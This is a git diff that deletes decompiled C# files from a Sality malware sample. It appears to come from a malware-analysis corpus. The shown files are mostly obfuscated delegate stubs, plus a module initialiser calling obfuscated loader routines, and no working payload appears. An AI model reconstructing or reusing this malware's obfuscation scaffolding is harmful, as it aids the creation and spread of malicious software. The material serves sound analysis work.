C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate void \u001C\u0003([In] object obj0, [In] Control obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001C_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001C_0004.cs deleted file mode 100644 index 73a2eabc..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001C_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate void \u001C\u0004([In] IntPtr obj0, [In] byte[] obj1, [In] int obj2, [In] int obj3); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001C_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001C_0005.cs deleted file mode 100644 index ba6924e9..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001C_0005.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate DialogResult \u001C\u0005([In] string obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001D_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001D_0003.cs deleted file mode 100644 index 2d57b132..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001D_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate int \u001D\u0003([In] Type obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001D_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001D_0004.cs deleted file mode 100644 index eb5926a2..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001D_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate MethodInfo[] \u001D\u0004([In] object obj0, [In] BindingFlags obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001D_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001D_0005.cs deleted file mode 100644 index 6067495f..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001D_0005.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate IntPtr \u001D\u0005([In] long obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001E_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001E_0003.cs deleted file mode 100644 index 7ceaf666..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001E_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate string \u001E\u0003([In] object obj0, [In] byte[] obj1, [In] int obj2, [In] int obj3); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001E_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001E_0004.cs deleted file mode 100644 index 706b2f02..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001E_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate string \u001E\u0004([In] string obj0, [In] string[] obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001E_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001E_0005.cs deleted file mode 100644 index 3140979c..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001E_0005.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate bool \u001E\u0005([In] string obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001F_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001F_0003.cs deleted file mode 100644 index 51dbeccc..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001F_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Text; - -internal delegate Encoding \u001F\u0003(); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001F_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001F_0004.cs deleted file mode 100644 index d344c876..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001F_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.IO; -using System.Runtime.InteropServices; - -internal delegate Stream \u001F\u0004([In] object obj0, [In] string obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001F_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001F_0005.cs deleted file mode 100644 index 30fa31cf..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001F_0005.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate void \u001F\u0005([In] object obj0, [In] EventHandler obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_003CModule_003E.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_003CModule_003E.cs deleted file mode 100644 index b6e93f79..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_003CModule_003E.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0002; - -internal class \u003CModule\u003E -{ - static \u003CModule\u003E() - { - \u0005.\u0003(); - \u0002.\u0001.\u0003(); - \u0001.\u0001.\u0004(); - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_007F_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_007F_0003.cs deleted file mode 100644 index d7396e46..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_007F_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; -using System.Threading; - -internal delegate void \u007F\u0003([In] ThreadExceptionEventHandler obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_007F_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_007F_0004.cs deleted file mode 100644 index 1b8fd400..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_007F_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate object \u007F\u0004([In] object obj0, [In] string obj1, [In] object obj2); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_007F_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_007F_0005.cs deleted file mode 100644 index 05f891ec..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_007F_0005.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate IntPtr \u007F\u0005([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0080_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0080_0003.cs deleted file mode 100644 index 2163902b..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0080_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: € -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate MethodBase \u0080\u0003([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0080_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0080_0004.cs deleted file mode 100644 index de6afd94..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0080_0004.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: € -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Drawing; -using System.Runtime.InteropServices; - -internal delegate void \u0080\u0004( - [In] object obj0, - [In] Image obj1, - [In] Rectangle obj2, - [In] int obj3, - [In] int obj4, - [In] int obj5, - [In] int obj6, - [In] GraphicsUnit obj7); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0080_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0080_0005.cs deleted file mode 100644 index 6595d8ca..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0080_0005.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: € -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Diagnostics; -using System.Runtime.InteropServices; - -internal delegate Process \u0080\u0005([In] string obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0081_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0081_0003.cs deleted file mode 100644 index 45c002db..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0081_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; - -internal delegate OperatingSystem \u0081\u0003(); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0081_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0081_0004.cs deleted file mode 100644 index 29a011ef..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0081_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate void \u0081\u0004([In] Array obj0, [In] int obj1, [In] Array obj2, [In] int obj3, [In] int obj4); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0081_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0081_0005.cs deleted file mode 100644 index 01df052b..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0081_0005.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate object \u0081\u0005([In] object obj0, [In] int obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0082_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0082_0003.cs deleted file mode 100644 index 7049d2a7..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0082_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; -using System.Text; - -internal delegate StringBuilder \u0082\u0003([In] object obj0, [In] object obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0082_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0082_0004.cs deleted file mode 100644 index 6446a9af..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0082_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate void \u0082\u0004([In] object obj0, [In] int obj1, [In] int obj2, [In] int obj3, [In] int obj4); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0082_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0082_0005.cs deleted file mode 100644 index 624e2d1a..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0082_0005.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Diagnostics; -using System.Runtime.InteropServices; - -internal delegate StackFrame \u0082\u0005([In] object obj0, [In] int obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0083_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0083_0003.cs deleted file mode 100644 index e846ac80..00000000 --- 